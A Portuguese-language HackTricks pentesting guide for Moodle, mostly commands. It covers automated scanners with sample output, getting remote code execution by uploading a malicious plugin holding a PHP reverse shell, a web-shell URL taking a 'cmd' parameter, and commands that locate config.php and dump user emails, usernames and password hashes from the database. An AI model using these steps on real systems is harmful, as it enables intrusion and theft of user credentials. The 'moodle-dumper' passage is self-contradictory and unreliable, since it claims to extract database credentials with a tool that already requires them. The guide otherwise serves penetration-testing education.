hacktricks/network-services-pentesting/pentesting-web/moodle.md
2023-06-06 18:56:34 +00:00

145 lines
9 KiB
Markdown

# Moodle
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em **carreira de hacking** e hackear o impossível - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
{% embed url="https://www.stmcyber.com/careers" %}
## Scans Automáticos
### droopescan
```bash
pip3 install droopescan
droopescan scan moodle -u http://moodle.example.com/<moodle_path>/
[+] Plugins found:
forum http://moodle.schooled.htb/moodle/mod/forum/
http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
http://moodle.schooled.htb/moodle/mod/forum/version.php
[+] No themes found.
[+] Possible version(s):
3.10.0-beta
[+] Possible interesting urls found:
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
Admin panel - http://moodle.schooled.htb/moodle/login/
[+] Scan finished (0:00:05.643539 elapsed)
```
### moodlescan
O `moodlescan` é uma ferramenta de varredura automatizada para detectar vulnerabilidades em instalações do Moodle. Ele pode ser usado para identificar vulnerabilidades conhecidas, como SQL injection, cross-site scripting (XSS) e inclusão de arquivos locais (LFI), bem como para encontrar informações úteis, como usuários, cursos e plugins instalados.
A ferramenta é fácil de usar e pode ser executada a partir da linha de comando. Ele suporta vários tipos de autenticação, incluindo autenticação básica e autenticação de cookies. Além disso, ele pode ser configurado para ignorar certos tipos de vulnerabilidades ou para procurar apenas vulnerabilidades específicas.
O `moodlescan` é uma ferramenta útil para administradores do Moodle e testadores de penetração que desejam verificar a segurança de suas instalações do Moodle. No entanto, é importante lembrar que a ferramenta não é uma solução completa de segurança e não deve ser usada como a única medida de segurança para uma instalação do Moodle.
```bash
#Install from https://github.com/inc0d3/moodlescan
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/
Version 0.7 - Dic/2020
.............................................................................................................
By Victor Herrera - supported by www.incode.cl
.............................................................................................................
Getting server information http://moodle.schooled.htb/moodle/ ...
server : Apache/2.4.46 (FreeBSD) PHP/7.4.15
x-powered-by : PHP/7.4.15
x-frame-options : sameorigin
last-modified : Wed, 07 Apr 2021 21:33:41 GMT
Getting moodle version...
Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta
Searching vulnerabilities...
Vulnerabilities found: 0
Scan completed.
```
### CMSMap
CMSMap é uma ferramenta de código aberto que ajuda a identificar a versão e os plugins instalados em um site Moodle. Ele também pode ser usado para encontrar vulnerabilidades conhecidas em versões específicas do Moodle. A ferramenta é executada em linha de comando e pode ser facilmente integrada a scripts de automação de testes de penetração.
```bash
pip3 install git+https://github.com/dionach/CMSmap.git
cmsmap http://moodle.example.com/<moodle_path>
```
### CVEs
Descobri que as ferramentas automáticas são bastante **inúteis para encontrar vulnerabilidades que afetam a versão do moodle**. Você pode **verificá-las** em [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)
## **RCE**
Você precisa ter a função de **gerente** e **pode instalar plugins** dentro da guia **"Administração do site"**\*\*:\*\*
![](<../../.gitbook/assets/image (447).png>)
Se você é gerente, ainda pode precisar **ativar essa opção**. Você pode ver como no PoC de escalonamento de privilégios do moodle: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
Em seguida, você pode **instalar o seguinte plugin** que contém o shell reverso php clássico do pentest-monkey (_antes de fazer o upload, você precisa descompactá-lo, alterar o IP e a porta do revshell e compactá-lo novamente_)
{% file src="../../.gitbook/assets/moodle-rce-plugin.zip" %}
Ou você pode usar o plugin de [https://github.com/HoangKien1020/Moodle\_RCE](https://github.com/HoangKien1020/Moodle\_RCE) para obter um shell PHP regular com o parâmetro "cmd".
Para acessar o plugin malicioso, você precisa acessar:
```bash
http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
```
## POST
### Encontrar credenciais do banco de dados
```bash
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
```
### Extrair Credenciais do Banco de Dados
Para extrair as credenciais do banco de dados do Moodle, você pode usar a ferramenta `moodle-dumper`. Esta ferramenta pode ser encontrada em https://github.com/riw777/moodle-dumper.
Para usá-la, você precisa fornecer as credenciais do banco de dados do Moodle e o caminho para o diretório onde deseja salvar o arquivo de despejo. O comando a seguir pode ser usado para extrair as credenciais do banco de dados:
```
python moodle-dumper.py -u <db_username> -p <db_password> -d <db_name> -o <output_directory>
```
Depois de executar este comando, você deve ter um arquivo de despejo do banco de dados do Moodle que contém as credenciais do banco de dados.
```bash
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
```
<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em uma **carreira em hacking** e quer hackear o que não pode ser hackeado - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
{% embed url="https://www.stmcyber.com/careers" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>